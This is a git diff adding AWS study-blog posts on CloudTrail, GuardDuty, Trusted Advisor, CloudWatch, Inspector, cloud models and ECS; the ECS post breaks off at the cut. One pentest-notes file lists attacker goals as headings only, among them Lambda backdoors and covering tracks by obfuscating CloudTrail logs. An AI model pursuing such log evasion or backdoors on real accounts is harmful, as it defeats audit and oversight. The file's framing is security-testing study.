"b/_posts/01Cloud/01AWS/Security/detection\345\267\262\345\217\221\347\224\237/2020-07-18-AWS-CloudTrail.md" new file mode 100644 index 00000000000..6fc35d654a4 --- /dev/null +++ "b/_posts/01Cloud/01AWS/Security/detection\345\267\262\345\217\221\347\224\237/2020-07-18-AWS-CloudTrail.md" @@ -0,0 +1,170 @@ +--- +title: AWS - Security - Amazon CloudTrail (log for audit) +date: 2020-07-18 11:11:11 -0400 +categories: [01AWS, CloudSecurity] +tags: [AWS, AWSSecurity] +toc: true +image: +--- + +[toc] + +--- + +# Amazon CloudTrail `got all the log, auditing` + +- simplifies security analysis, resource change tracking, and troubleshooting. + + +- enables governance, compliance, operational auditing, and risk auditing of AWS account. + +- enabled automatically when create AWS account + - delivers log files within 15min of account activity. + - enable CloudTrail for all regions in your environment + - can create a trail applies to one Region or to all Regions + - By default, the trail applies to all AWS Regions. + - provides a complete audit trail of all AWS services within an account + - deliver log files from all regions to one S3 bucket + - By default, CloudTrail event log files are encrypted using S3 server-side encryption + + +- tracks, records user activity and API activity for all regions in AWS + - continuously monitor, tracks user activity and API usage + - provides event history of your AWS account activity + - including actions taken OR API calls made via: + - AWS Management Console. + - AWS SDKs. + - Command line tools. + - Higher-level AWS services (such as CloudFormation). + +--- + +## event + +![Screen Shot 2020-08-09 at 22.24.33](https://i.imgur.com/R2zwpkX.png) + +An event in CloudTrail is the record of an activity in an AWS account. + +- This activity can be an action taken by a user, role, or service that is monitorable by CloudTrail. +- CloudTrail events provide a history of both API and non-API account activity + - made through the AWS Management Console, AWS SDKs, command line tools, and other AWS services. +- types of events that can be logged in CloudTrail: + - management events + - data events + - insight events + - By default, trails log management events + - Both use the same CloudTrail JSON log format. +- CloudTrail can save event history for up to 90 days. + + + +### Management Events +- information about  control plane/ management operations  performed on resources in AWS account. +- Example management events include: + - Configuring security + - IAM `AttachRolePolicy` API operations... + - Registering devices + - EC2 `CreateDefaultVpc` API operations... + - Configuring rules for routing data + - EC2 `CreateSubnet` API operations... + - Setting up logging + - CloudTrail `CreateTrail` API operations... +- Management events can also include non-API events that occur in your account. + - For example, + - when a user signs in to your account, CloudTrail logs the `ConsoleLogin` event. + + +### Data Events + +- Data events are disabled by default when create a trail + - must explicitly add to a trail the supported resources or resource types for which you want to collect activity. + +- information about the  data plane/resource operations  performed on or in a resource. + - Data events are often high-volume activities. + +- The following two data types are recorded: + - S3 object-level API activity + - `GetObject, DeleteObject, and PutObject` API operations... + - Lambda function execution activity + - the `Invoke` API... + + + +### Insights Events +- capture unusual activity in your AWS account. + - Insights events are disabled by default when you create a trail. + - must explicitly enable Insights event collection on a new or existing trail. + - If you have Insights events enabled, CloudTrail detects unusual activity, +- Insights events are logged to a different folder or prefix in the destination S3 bucket for your trail. + +- Insights events provide relevant information, + - such as the associated API, incident time, and statistics + - can also see the type of insight and the incident time period when you view Insights events on the CloudTrail console. + - help you understand and act on unusual activity. + +- Insights events are logged only when CloudTrail detects changes in your account's API usage that differ significantly from the account's typical usage patterns + +- Examples of activity that might generate Insights events include: + - Your account typically logs no more than 20 Amazon S3 deleteBucket API calls per minute, + - but your account starts to log an average of 100 deleteBucket API calls per minute. + - An Insights event is logged at the start of the unusual activity, + - and another Insights event is logged to mark the end of the unusual activity. + - Your account typically logs 20 calls per minute to the Amazon EC2 `AuthorizeSecurityGroupIngress` API, + - but your account starts to log zero calls to AuthorizeSecurityGroupIngress. + - An Insights event is logged at the start of the unusual activity, and ten minutes later, when the unusual activity ends, another Insights event is logged to mark the end of the unusual activity. + + + +### CloudTrail Event History +- provides a viewable, searchable, and downloadable record of the past 90 days of CloudTrail events. +- gain visibility into actions taken in your AWS account in the AWS Management Console, AWS SDKs, command line tools, and other AWS services. +- You can customize your view of event history in the CloudTrail console by selecting which columns are displayed. + + + +--- + +## CloudTrail configuration + +### Trails +- a configuration that enables delivery of CloudTrail events to an S3 bucket, CloudWatch Logs, and CloudWatch Events. +- You can use a trail to + - filter the CloudTrail events you want delivered, + - encrypt your CloudTrail event log files with an AWS KMS key, + - set up Amazon SNS notifications for log file delivery. + + +### Organization Trails +- a configuration +- enables delivery of CloudTrail events in the master account and all member accounts in an organization  to the same Amazon S3 bucket, CloudWatch Logs, and CloudWatch Events. +- helps define a uniform event logging strategy for your organization. +- create an organization trail + - a trail with the name that you give it will be created in every AWS account that belongs to your organization. + - Users with CloudTrail permissions in member accounts will be able to see this trail (including the trail ARN) when they + - log into the AWS CloudTrail console from their AWS accounts, + - or run AWS CLI commands such as describe-trails (although member accounts must use the ARN for the organization trail, and not the name, when using the AWS CLI). + - but users in member accounts will not have sufficient permissions to + - delete the organization trail, + - turn logging on or off, + - change what types of events are logged, + - or otherwise alter the organization trail in any way. + + + + + + + + + + + + + + + + + + + +。 diff --git "a/_posts/01Cloud/01AWS/Security/detection\345\267\262\345\217\221\347\224\237/2020-07-18-AWS-GuardDuty.md" "b/_posts/01Cloud/01AWS/Security/detection\345\267\262\345\217\221\347\224\237/2020-07-18-AWS-GuardDuty.md" new file mode 100644 index 00000000000..ba6ad32f322 --- /dev/null +++ "b/_posts/01Cloud/01AWS/Security/detection\345\267\262\345\217\221\347\224\237/2020-07-18-AWS-GuardDuty.md" @@ -0,0 +1,154 @@ +--- +title: AWS - Security - GuardDuty (AWS account and workloads) +date: 2020-07-18 11:11:11 -0400 +categories: [01AWS, CloudSecurity] +tags: [AWS, AWSSecurity] +toc: true +image: +--- + +- [GuardDuty](#guardduty) + - [how Amazon GuardDuty works](#how-amazon-guardduty-works) + - [enable Amazon GuardDuty](#enable-amazon-guardduty) + + +--- + + +# GuardDuty + +> identify malicious/unauthorized activity in `AWS account and workloads` + +![Pasted Graphic](https://i.imgur.com/XJAk8xl.jpg) + +- Designed to actively protect the environment from threats. + +- intelligent threat detection service + +- continuously analyzes and monitor events across the accounts, protect the accounts and workloads. + - such as + - information about AWS user and API activity in accounts from CloudTrail, + - network traffic data from Amazon VPC Flow Logs, + - name query patterns from DNS logs. + +- monitors environment for malicious / unauthorized activiaty + - activities that can associated with account / instance compromise, and malicious reconnaissance. + - such as + - unusual API calls or potentially unauthorized deployments that indicate a possible account compromise. + - suspicious outbound communications to known malicious IP addresses + - possible data theft that use DNS queries as the transport mechanism + - detects potentially compromised instances or reconnaissance by attackers. + - identify malicious or unauthorized activities in AWS accounts + +- delivers more accurate findings by machine learning + - Use threat intelligence feeds to detect threats to the environment. such as lists of malicious IPs and domains. + - can customize GuardDuty by adding your own threat lists and trusted IP lists. + +- can enable GuardDuty through AWS Management Console + - and have access to a more intelligent and cost-effective option for threat detection in the AWS Cloud + +- GuardDuty analyzes and processes data from: + - The origin or location of a set of data + - CloudTrail event logs + - VPC Flow Logs + - And DNS logs + + +Term +- Account: + - standard AWS account that contains your AWS resources. + - can sign in to AWS with your account, and enable GuardDuty. + - can invite other accounts to enable GuardDuty, and these accounts can be associated with your AWS account in GuardDuty. + - If your invitations are accepted, + - your account is master GuardDuty account + - the added accounts is your member accounts. + - view and manage GuardDuty findings for member accounts +- data source: + - the origin or location of a set of data. + - To detect unauthorized and unexpected activity in AWS environment, GuardDuty analyzes and processes data from: + - The origin or location of a set of data + - CloudTrail event logs + - VPC Flow Logs + - And DNS logs +- finding + - a potential security issue that is discovered by GuardDuty. + - Findings are displayed in the GuardDuty console + - contain a detailed description of the security issue. +- trusted IP list + - a list of whitelisted IP addresses for highly secure communication with AWS environment. + - GuardDuty does not generate findings based on trusted IP lists. +- threat list + - list of known malicious IP addresses. + - GuardDuty generates findings based on threat lists. + +--- + +## how Amazon GuardDuty works +1. connect all accounts, and enable GuardDuty within the AWS console. + - use the console to monitor the AWS accounts + - without additional security software or infrastructure to deploy or manage. +2. GuardDuty looks at CloudTrail Events, VPC Flow Logs, and DNS Query Logs + - continuously analyzes those logs. + - automatically analyzes network and account activity at scale, + - provides broad, continuous monitoring of your AWS accounts and workloads. +3. intelligently detects threats and malicious or authorized behavior + - by using + - managed rule sets + - integrated threat intelligence + - anomaly detection + - and machine learning +4. After GuardDuty detects a threat, + - it can use actionable alerts to review detailed findings in the console, + - integrate into event management or workflow systems, + - or trigger AWS Lambda for automated remediation or prevention. + +--- + + +## enable Amazon GuardDuty + +![Screen Shot 2020-07-13 at 23.11.35](https://i.imgur.com/Pg30tK2.png) + +- AWS console > GuardDuty > enable GuardDuty. +- When enable GuardDuty + - you give it permission to set up the appropriate service-linked roles and to analyze your logs. +- A service-linked role is a unique type of IAM role + - Is linked directly to an AWS service + - Service-linked roles are predefined by the service + - defines how you create, modify, and delete a service-linked role. + - include all the permissions that the service requires to call other AWS services on your behalf. + +- When you enable GuardDuty, it immediately starts analyzing your VPC Flow Logs data. + - It consumes VPC Flow Log events directly from the VPC Flow Logs feature through an independent and duplicative stream of flow logs. + - This process does not affect any existing flow log configurations that might have. + - GuardDuty does not manage flow logs or make them accessible in your account. + - To manage the access and retention of your flow logs, you must configure the VPC Flow Logs feature. + +- no additional charge for Amazon GuardDuty access to flow logs. + - However, enabling flow logs for retention or use in your account is subject to existing pricing + +- After you enable GuardDuty, findings are displayed in the console. + - The slide shows an example of the kinds of findings that are available in the console. + - To access the findings: General Settings > Generate Sample Findings. + +![Screen Shot 2020-07-13 at 23.20.14](https://i.imgur.com/HALa7pM.png) + + + + + + + + + + + + + + + + + + + +. diff --git "a/_posts/01Cloud/01AWS/Security/detection\345\267\262\345\217\221\347\224\237/2020-07-18-AWS-Trusted-Advisor.md" "b/_posts/01Cloud/01AWS/Security/detection\345\267\262\345\217\221\347\224\237/2020-07-18-AWS-Trusted-Advisor.md" new file mode 100644 index 00000000000..34441d4c7cd --- /dev/null +++ "b/_posts/01Cloud/01AWS/Security/detection\345\267\262\345\217\221\347\224\237/2020-07-18-AWS-Trusted-Advisor.md" @@ -0,0 +1,113 @@ +--- +title: AWS - Security - AWS Trusted Advisor +date: 2020-07-18 11:11:11 -0400 +categories: [01AWS, CloudSecurity] +tags: [AWS, AWSSecurity] +toc: true +image: +--- + +[toc] + +--- + +# AWS Trusted Advisor + +![Trusted Advisor](https://i.imgur.com/Ighxcn9.png) + +- online tool + +- offers recommendations for cost optimization, performance, security, fault tolerance and service limits + + +- optimize performance and security + - how and where you can get the most impact for your AWS spend. + - possible reduce the monthly spend and retain or increase productivity. + - Guidance on getting the optimal performance and availability based on your requirements. + - confidence that your environment is secure + + +- real-time guidance + - to provision resources guid following AWS best practices and staying within limits. + - provides valuable guidance for architecting your AWS environment and workloads, + - but doesn't include AWS service health information. + +- auto service, during implement ells right and problems. + +- The best practices that are available to all customers include: + - Offers Service Limits check (in the Performance category) + - the check displays your usage and limits for some aspects of some services. + - Business and enterprise can use all checks. + + - Security group rules that allow unrestricted access to specific ports + - IAM use + - Is Multi factor authentication, MFA, available on the root account + - Amazon S3 bucket permissions + - Amazon EBS public snapshots + - Amazon RDS public snapshots + + +5 components +1. Cost Optimization + - resource use and makes recommendations to optimize cost by + - eliminating unused and idle resources, + - or by making commitments to reserved capacity. +2. Performance + - Improve the performance of your service by + - checking your service limits, + - ensuring you take advantage of provisioned throughput, + - and monitoring for overutilized instances. +3. Securit + - Improve the security of your application by + - closing gaps, + - enabling various AWS security features, + - and examining your permissions. +4. Fault Tolerance + - Increase the availability and redundancy of your AWS application by + - taking advantage of automatic scaling, health checks, Multi-AZ deployments, and backup capabilities. +5. Service Limits + - checks for service usage that is more than 80% of the service limit. + - Values are based on a snapshot, so your current usage might differ. + - Limit and usage data can take up to 24 hours to reflect any changes. + +--- + +## functionality + +Within the console, you have: + +- AWS Trusted Advisor Notifications + - stay up to date with your AWS resource deployment. + - notified by weekly email when you opt in for this service, and it is free. + +- use AWS Identity and Access Management, IAM , to control access to specific checks or check categories. + +- can retrieve and refresh Trusted Advisor results programmatically by using the AWS Support API + +- Action Links + - hyperlinks on items within a Trusted Advisor report. + - takes you directly to the console, where you can take action on the Trusted Advisor recommendations. + +- Recent Changes + - ![Screen Shot 2020-07-21 at 13.05.04](https://i.imgur.com/kndS5jA.png) + - track recent changes of a check status on the console dashboard. + - The most recent changes appear at the top of the list to bring attention. + +- The Exclude Items feature + - ![Screen Shot 2020-07-21 at 13.05.58](https://i.imgur.com/SS3uaG3.png) + - customize the Trusted Advisor report + - can exclude items from the check result if they are not relevant. + - can refresh individual checks or refresh all the checks at once by choosing the Refresh All button in the summary dashboard. + +- refresh 5 minutes + - A check is eligible for refresh 5 minutes after it was last refreshed. + + + + + + + + + +. diff --git a/_posts/01Cloud/01AWS/Security/offensive-test.md b/_posts/01Cloud/01AWS/Security/offensive-test.md new file mode 100644 index 00000000000..dbc26528eb8 --- /dev/null +++ b/_posts/01Cloud/01AWS/Security/offensive-test.md @@ -0,0 +1,67 @@ + + + + + + + + + + +## Top 5 Vulnerabilities to Test for in AWS + +1. Testing S3 bucket configuration and permissions flaws +2. Targeting and compromising AWS IAM keys +3. Cloudfront/WAF Misconfiguration Bypasses +4. Establishing private-cloud access through Lambda backdoor functions +5. Cover tracks by obfuscating Cloudtrail logs + + + +The following basic tools can also help identify basic flaws: +1. AWS Inspector (designed for the security of apps deployed on AWS) +1. Nmap (network discovery and service enumeration) +1. Rhino Security Lab’s BucketHead (Identifying misconfigured AWS S3 Buckets) + + +https://geekflare.com/aws-vulnerability-scanner/ + +https://github.com/toniblyx/my-arsenal-of-aws-security-tools + + + + + +1. Check the Service Level Agreement (SLA) + - to ensure the appropriate Pen Test policy has been identified, and R&R clearly defined. In many cases, elements of Pen Testing are spread across multiple players such as the CSP and the client, so it is necessary to clearly document who does what, and when it is to be done. +2. Governance & Compliance requirements need to be understood. + - Factors need to include which party will be responsible to define, configure and validate security settings required to meet applicable regulatory controls for your business. This includes providing appropriate evidence for audits and inspections. +3. Security and Vulnerability Patching and general maintenance responsibilities and timeframes need to be documented. + - You as the client may have responsibility for maintaining your virtual images and resources, but the CSP will likely be accountable for the underlying physical hardware systems. Both need to be actively managed, along with all network and SAN equipment. +4. Computer access and Internet usage policies need to be clearly defined and properly implemented + - to ensure appropriate traffic is permitted while inappropriate traffic is denied at the perimeter. +5. Ensure all unused ports are disabled and unused protocols are either not installed or disabled and locked down to prevent unauthorized activation. +6. Data encryption + - both in transit and at rest + - Ensure that encryption is either set as the default or that appropriate steps are implemented to ensure it is activated. +7. requirements for Two Factor Authentication and One Time Passwords are implemented and actively securing network access. + - Check if your CSP permits any bypass scenarios. +8. SSL is only as good as the Certificate Authority (CA) that issued the certificates. + - Ensure SSL is active, and that a reputable CA stands behind the certificates. +9. Hold your CSP accountable and validate they are using appropriate security controls for physical and logical access to the data center and the infrastructure hardware with which they provide your services. +10. Know your CSP’s policy and procedures relative to data disclosure to third parties, both for unauthorized access and providing data when requested or subpoenaed by law enforcement. +. + +who is in charge of security +logs +Giving away too many privileges +Having powerful users and broad roles +Relying heavily on passwords +Exposed secrets and keys +Not taking root seriously +Putting everything in one VPC or account +Leaving wide open connections +encryption +Mistakes, not vulnerabilities + +. diff --git "a/_posts/01Cloud/01AWS/Security/prevent\346\234\252\345\217\221\347\224\237/2020-07-18-AWS-CloudWatch.md" "b/_posts/01Cloud/01AWS/Security/prevent\346\234\252\345\217\221\347\224\237/2020-07-18-AWS-CloudWatch.md" new file mode 100644 index 00000000000..c0bcab29b06 --- /dev/null +++ "b/_posts/01Cloud/01AWS/Security/prevent\346\234\252\345\217\221\347\224\237/2020-07-18-AWS-CloudWatch.md" @@ -0,0 +1,257 @@ +--- +title: AWS - Security - Amazon CloudWatch (AWS cloud resources) +date: 2020-07-18 11:11:11 -0400 +categories: [01AWS, CloudSecurity] +tags: [AWS, AWSSecurity] +toc: true +image: +--- + +[toc] + +--- + +# Amazon CloudWatch  + +![Screen Shot 2020-06-09 at 23.07.07](https://i.imgur.com/LuS93PN.png) + +![Screen Shot 2020-08-09 at 22.10.01](https://i.imgur.com/JIZ3vtt.png) + +1. a monitoring service for AWS cloud resources and the applications run on AWS. + - a repository for metric data + - a service that stores metrics + - accessed via API, CLI, AWS SDKs, and the AWS Management Console. + - CloudWatch can't monitor internal info, like memory usage, for EC2 instances. + +2. CloudWatch integrates with AWS IAM + - specify which user in your AWS account can perform CloudWatch. + - create IAM policy, gives only certain users permission to use the `GetMetricStatistics` operation. + - They could then use the operation to retrieve data about your cloud resources. + +3. Permission: + - can't use IAM to control access to CloudWatch data for specific resources. + - For example, + - you can't give a user access to CloudWatchdata for only a specific set of instances or a specific load balancer. + - Permissions that are granted through IAM cover all of the cloud resources use with CloudWatch. + - can't use IAM roles with the Amazon CloudWatch command line tools + - The unified CloudWatch Agent + - runs in the cloud and on-premises, and on Linux and Windows instances and servers. + - It also handles metrics and log files. + - can deploy it using AWS Systems Manager, Run Command, SSM State Manager, or from the CLI. + - doesn't provide the permissions to write to CloudWatch logs. + - provides the connection need for on-premise to push data to CloudWatch and CloudWatch logs. + - execution roles or permission roles: + - permits a service to write logs to CloudWatch Logs + +4. Monitors, Collects and tracks + - a distributes metrics gathering system, monitoring and observability service + - built for DevOps engineers, developers, site reliability engineers (SRE), and IT managers. + - statistics are recorded for a period of 15 months + - monitors AWS resources and the applications run on AWS in real time + - collects and processes raw data from into readable, near-real-time metrics + - collect and track metrics, measure for + - you AWS resources and applications. + + - Create and use custom metrics + - based on data generated by applications and services + - along with any log files that applications generate. + - Create custom dashboards for wasy viewing of metrics + - Example: + - Lambda functions, Kinesis streams, Amazon ECS tasks, Step Functions state machines, + - SNS topics, SQS queues, and built-in targets… + - CloudTrail, Route53, VPC flow logs + - EC2 + - By default, EC2 provides basic monitoring , sends metric data to CloudWatch in 5-minute periods. + - To send metric data for your instance to CloudWatch in 1-minute periods, enable detailed monitoring on the instance. + - EC2 console displays a series of graphs based on the raw data from Amazon CloudWatch. + - Depending on your needs, you might prefer to get data for your instances from Amazon CloudWatch instead of through the graphs in the console. + - By default, Amazon CloudWatch does not provide RAM metrics for EC2 instances, though that is an option that you can configure if you want to CloudWatch to collect that data. + - RDS: + - number of simultaneous connection: xx for xx min + - ELB: + - number of healthy hosts: xx for xx min + - DynamoDB tables. + - RDS DB instances. + - Custom metrics generated by applications and services. + - Any log files generated by your applications. + +6. gain system-wide visibility about + - resource use, + - application performance, + - operational health. + - historical information + - a better perspective on how your web application or service is performing. + +8. produce metrics, and these are time-ordered sets of data. + +5. Turns metrics into statistics to be used by CloudWatch alarms + - Metrics can be configured with alarms that can take action. + - collects metrics, + - turns the metrics into statistics that can be used by CloudWatch alarms, + - and displays them all in one place. + - CloudWatch alarms are based on statistics. + - Statistics are metric data that is aggregated over specified periods of time. + - Aggregations are made using the namespace, metric name, dimensions, and the data point unit of measure, within the time period that you specify. + - ![Screen Shot 2020-05-09 at 14.52.17](https://i.imgur.com/3vqVVFX.png) + - Namespace + - A namespace contains the CloudWatch metric that you want, for example, AWS/EC2. + - Metric: + - the variable you want to measure, for example, CPU Utilization. + - Statistic: + - can be an average, sum, minimum, maximum, sample count, a predefined percentile, or a custom percentile. + - Period: + - the evaluation period for the alarm. + - When the alarm is evaluated, each period is aggregated into one data point. + - Conditions: + - specify the conditions for a static threshold, you specify whenever the metric is Greater, Greater or Equal, Lower or Equal, or Lowerthan the threshold value, and you also specify the threshold value. + - Additional configuration information: + - includes the number of data points within the evaluation period that must be breached to trigger the alarm, and how CloudWatch should treat missing data when it evaluates the alarm. + - Actions: + - choose to send a notification to an Amazon SNS topic, + - or to perform an Amazon EC2 Auto Scaling action or Amazon EC2 action. + +7. Events + - use CloudWatch Events to define rules + - match incoming events/changes in AWS environment and route them to targets for processing. + - operational changes as they occur + - if a rule is matched, can take corrective action as necessary + - Targets: + - EC2 instances, Lambda functions, Kinesis streams, Amazon ECS tasks, Step Functions state machines, SNS topics, SQS queues, and built-in targets… + - loudWatch Events already has access to AWS API events; + - only need CloudTrail enabled when services aren't directly supported. + - CloudWatch Events becomes aware of operational changes as they occur. + - CloudWatch Events responds to these operational changes and takes corrective action as necessary, by + - sending messages to respond to the environment, + - activating functions, + - making changes, + - and capturing state information. + - 2 options when creating a rule. + - invoke a target by its event patterns + - invoke a target by a schedule + +9. Alarms and action + - key components of a CloudWatch alarm + - 3 states: + - insufficient: + - no enough data to judge the state + - alarms are often start in this state + - alarm + - the alarm threshold has been breached + - such as: >90% CPU + - ok + - the threshold has not been breached + - thresholds + - create alarms based on: + - static thresholds + - anomaly detection. + - metric math expression + - metrics + - measured data points over time. + - action + - action can produce an email or even work in conjunction with Auto Scaling groups. + - period : + - period is related to its threshold. + - the length of time in which a threshold is surpassed before an alarm is generated. + - can be configured with alarms to take actions + - actions can be used to trigger services + - a matched rule can take action on a target + - Automatically react to changes in the AWS resources. + - use the alarm to + - automatically send notification to an Simple Notification Service (Amazon SNS) topic + - triggers or perform an EC2 Auto Scaling in or out or EC2 action based on metrics + - create alarm to monitor any Amazon CloudWatch metric in account + - terminate, reboot, or recover an EC2 instance + - create alarms on + - the CPU utilization of an EC2 instance, + - Elastic Load Balancing request latency, + - Amazon DynamoDB table throughput, + - Amazon Simple Queue Service (Amazon SQS) queue length, + - the charges on your AWS bill. + - custom metrics that specific to the custom applications or infrastructure. + +10. no upfront commitment or minimum fee; pay for what you use. + +--- + + +## CloudWatch Logs + + +1. cloudWatch log group: + - a container for log streams + - export and set streams into other AWS services. + - controls the retention period, metric filter, monitoring, and access control + +2. log stream + - a sequence of log events with the same source + +3. log event + - a timestamp and a raw message + +4. metric filter + - metric filter pattern matches text in all log events in all log streams of whichever log group it's created on, creating a metric + +![Screen Shot 2020-05-09 at 14.55.12](https://i.imgur.com/m2pgOJ3.png) + +5. CloudWatch Logs + - monitor and troubleshoot the systems and applications by existing system, application and custom log files. + + - take those logs and send them: + - be streamed in real time to data-processing solutions, such as Amazon Kinesis Streams or AWS Lambda + - to an Amazon S3—bucket for durability, + - have administrators access them directly from the AWS Management Console. + - With the CloudWatchLogs agent, you can quickly send both rotated and non-rotated log data off a host and into the log service. You can then access the raw log data when you need it. + + - real time application and system monitoring and long term log retention. + - To store and monitor log data in highly durable storage. + - keeps logs indefinitely by default. + - can change the log retention setting, old log events are automatically deleted. + + - CloudTrail logs can be sent to CloudWatch Logs for real-time monitoring. + - CloudWatch Logs metric filters + - can evaluate CloudTrail logs for specific terms, phrases or values. + +6. CloudWatch retains metric data as follows: + - Data points with a period of less than 60 seconds are available for 3 hours. These data points are high-resolution custom metrics. + - Data points with a period of 60 seconds (1 minute) are available for 15 days. + - Data points with a period of 300 seconds (5 minute) are available for 63 days. + - Data points with a period of 3600 seconds (1 hour) are available for 455 days (15 months). + + +--- + +## example + + +![Screen Shot 2020-06-24 at 13.05.38](https://i.imgur.com/jK493h6.png) + +review a cloud design pattern. Monitoring is necessary for system operation. A monitoring service is provided by the AWS Cloud. +- However, because the monitoring service in the AWS Cloud cannot monitor the internal workings of a virtual server—such as the operating system, middleware, applications, etc. +- need to have an independent monitoring system. +- For example, +- the virtual server is monitored by the AWS Cloud monitoring service, +- use your own system to monitor the operating system, middleware, applications, etc. +- The cloud monitoring service provides an API + - enables you to use your monitoring system to perform centralized control, including of the cloud side + - through this API, to obtain information from the cloud monitoring system. +- To implement the monitoring service, install monitoring software on the Amazon EC2 instance so that you can obtain monitoring information from the CloudWatch monitoring service. + - Install monitoring software, such as Nagios, Zabbix, Munin… + - Use a plug-in to obtain monitoring information by using the CloudWatch API, and to write that information to the monitoring software. + - And use the plug-in to perform monitoring, including the information from AWS. + +--- + + +## CloudWatch vs CloudTrail: + +![Pasted Graphic](https://i.imgur.com/U7oKhCr.jpg) + + + + + + + + + +. diff --git "a/_posts/01Cloud/01AWS/Security/prevent\346\234\252\345\217\221\347\224\237/2020-07-18-AWS-Inspector.md" "b/_posts/01Cloud/01AWS/Security/prevent\346\234\252\345\217\221\347\224\237/2020-07-18-AWS-Inspector.md" new file mode 100644 index 00000000000..7f0dbcea16a --- /dev/null +++ "b/_posts/01Cloud/01AWS/Security/prevent\346\234\252\345\217\221\347\224\237/2020-07-18-AWS-Inspector.md" @@ -0,0 +1,51 @@ +--- +title: AWS - Security - AWS Inspector (EC2) +date: 2020-07-18 11:11:11 -0400 +categories: [01AWS, CloudSecurity] +tags: [AWS, AWSSecurity] +toc: true +image: +--- + +[toc] + +--- + +# AWS Inspector `what’s wrong > vulnerabilities for EC2` + +![Screen Shot 2020-07-13 at 21.49.29](https://i.imgur.com/rYTKcT6.png) + +- automated security assessment service +- assesses applications for exposure, vulnerabilities, and deviations from best practices + +- analyze the behavior of the resources and identify potential security issues + - Analyzes the VPC encironment for potential security issuse. + - identify EC2 instances for common security vulnerabilities. + - asses EC2s for vulnerabilities or deviations from best practices. + +- helps improve the security and compliance of applications deployed on AWS. + +- Inspector uses a defined template and assesses the environment. + - Providees the findings and recommends steps to resolve any potential security issues found. + - define a collection of resources to include in the assessment target + - then create an assessment template to launch a security assessment run of that target. + - analyze EC2 instances against pre-defined security templates to check for vulnerabilities + +- Results is a detailed list of the security findings/issues prioritized by level of severity! + - The name of the assessment target, which includes the EC2 instance where this finding was registered + - The name of the assessment template that was used to produce this finding + - The assessment run start time, end time, and status + - The name of the rules package that includes the rule that triggered this finding + - The name of the finding + - The severity level of severity of the finding + - The description of the finding + - prioritized steps for remediation + - findings can be reviewed directly or as part of detailed assessment reports which are available via the Amazon Inspector console or API. + +- Amazon Inspector includes a knowledge base with hundreds of rules + - Use rules packages to evaluate an application + - mapped to common security compliance standards and vulnerability definitions + - whether remote root login is enabled + - whether vulnerable software versions are installed. + - check for unintended network accessibility and vulnerabilities on EC2 instances. + - These rules are regularly updated by AWS security researchers diff --git a/_posts/01Cloud/01AWS/compute/2020-07-16-CloudComputing.md b/_posts/01Cloud/01AWS/compute/2020-07-16-CloudComputing.md new file mode 100644 index 00000000000..ad881ff81ed --- /dev/null +++ b/_posts/01Cloud/01AWS/compute/2020-07-16-CloudComputing.md @@ -0,0 +1,65 @@ +--- +title: AWS - Cloud computing +date: 2020-07-16 11:11:11 -0400 +categories: [01AWS, Compute] +tags: [AWS] +math: true +image: +--- + + +# AWS - Cloud computing + +- [AWS - Cloud computing](#aws---cloud-computing) + - [Overview](#overview) + - [traditional computing model](#traditional-computing-model) + - [IaaS - Infrastructure as a Service](#iaas---infrastructure-as-a-service) + - [PaaS - Platform as a Service](#paas---platform-as-a-service) + - [SaaS - Software as a Service](#saas---software-as-a-service) + +--- + +## Overview + +cloud computing: +- Cloud computing is the `on-demand delivery` of compute power, database, storage, applications, and other IT resources via the internet with `pay-as-you-go pricing`. +- These resources run on server computers that are located in large data centers in different locations around the world. +- use a cloud service, service provider owns the computers that you are using. These resources can be used together like building blocks to build solutions that help meet business goals and satisfy technology requirements. + +different types of cloud computing models + +### traditional computing model +- infrastructure is hardware. Hardware solutions are physical +- require space, staff, physical security, planning, and capital expenditure +- the `long hardware procurement 采购 cycle` that involves acquiring, provisioning, and maintaining on-premises infrastructure. + - enough resource capacity or sufficient storage? + - provision capacity by guessing theoretical maximum peaks.(pay resources stay idle / don’t have sufficient capacity to meet the needs). + - if the needs change, then spend the time, effort, and money required to implement a new solution. + - For example, if you wanted to provision a new website, you would need to buy the hardware, rack and stack it, put it in a data center, and then manage it or have someone else manage it. +- This approach is `expensive and time-consuming`. + +### IaaS - Infrastructure as a Service +- contains the `basic building blocks for cloud IT`.  + - Networking features + - Computers (virtual or on dedicated hardware) + - Data storage space +- `software solutions` + - Compared to hardware solutions, software solutions can change much more quickly, easily, and cost-effectively. +- `highest flexibility and management control` over IT resources. + - most similar to the existing IT resources with which many IT departments and developers are familiar. + - select the cloud services best match the needs and provision, terminate those resources on-demand, pay as use. + - elastically scale resources up and down in an automated fashion. + - `treat resources as temporary and disposable` + - enables businesses to implement new solutions quickly and with low upfront costs. +- eliminate undifferentiated heavy-lifting tasks like procurement, maintenance, and capacity planning, thus enabling them to focus on what matters most. +- several different service models and deployment strategies emerged to meet the specific needs of different users. Each type of cloud service model and deployment strategy provides you with a different level of control, flexibility, and management. Understanding the differences between these cloud service models and deployment strategies can help you decide what set of services is right for the needs. + +### PaaS - Platform as a Service +- `no management for underlying infrastructure` (usually hardware and operating systems), and allows you to `focus on the deployment and management of the applications`. +- be more efficient, no worry about resource procurement, capacity planning, software maintenance, patching, or any of the other undifferentiated heavy lifting involved in running the application. + +### SaaS - Software as a Service +- provides a complete product that is run and managed by the service provider. + - end-user applications (such as web-based email). +- no maintain or underlying infrastructure is managed. +- Only think about how to use particular software. diff --git a/_posts/01Cloud/01AWS/compute/container/2020-07-16-AWS-ECS.md b/_posts/01Cloud/01AWS/compute/container/2020-07-16-AWS-ECS.md new file mode 100644 index 00000000000..d2c11f590f2 --- /dev/null +++ b/_posts/01Cloud/01AWS/compute/container/2020-07-16-AWS-ECS.md @@ -0,0 +1,358 @@ +--- +title: AWS - Amazon ECS +date: 2020-07-16 11:11:11 -0400 +categories: [01AWS, Compute] +tags: [AWS, VMs, Docker] +math: true +image: +--- + +- [AWS - Amazon ECS Elastic container service](#aws---amazon-ecs-elastic-container-service) + - [basic](#basic) + - [Benefits](#benefits) + - [ECS VS EKS](#ecs-vs-eks) + - [ECS LAUNCH TYPES](#ecs-launch-types) + - [Fargate Launch Type](#fargate-launch-type) + - [EC2 Launch Type](#ec2-launch-type) + - [ECS Clusters](#ecs-clusters) + - [IMAGES](#images) + - [Amazon Elastic Container Registry (Amazon ECR)](#amazon-elastic-container-registry-amazon-ecr) + - [TASKS](#tasks) + - [SERVICE SCHEDULER](#service-scheduler) + - [CUSTOM SCHEDULER](#custom-scheduler) + - [ECS CONTAINER AGENT](#ecs-container-agent) + - [ECS AUTO SCALING](#ecs-auto-scaling) + - [Security/SLA](#securitysla) + - [LIMITS](#limits) + - [PRICING](#pricing) + +--- + +# AWS - Amazon ECS Elastic container service + + + +![Screen Shot 